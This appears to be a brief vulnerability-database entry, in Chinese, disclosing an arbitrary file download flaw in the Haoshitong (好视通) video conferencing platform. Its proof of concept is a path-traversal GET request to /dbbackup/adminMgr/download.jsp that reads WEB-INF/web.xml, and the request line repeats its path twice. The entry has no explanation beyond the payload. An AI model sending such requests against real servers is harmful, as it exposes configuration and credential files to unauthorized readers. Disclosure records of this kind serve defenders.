好视通视频会议平台 /dbbackup/adminMgr/download.jsp 路径存在任意文件下载

2024-02-26 好视通视频会议平台 PoC Public

Description

/

PoC

GET /dbbackup/adminMgr/download.jsp?fileName=../WEB-INF/web.xml/dbbackup/adminMgr/download.jsp?fileName=../WEB-INF/web.xml HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://stack.chaitin.com/vuldb/detail/1fd34e41-eccd-4928-bc05-6e791e431d5d

Related Vulnerabilities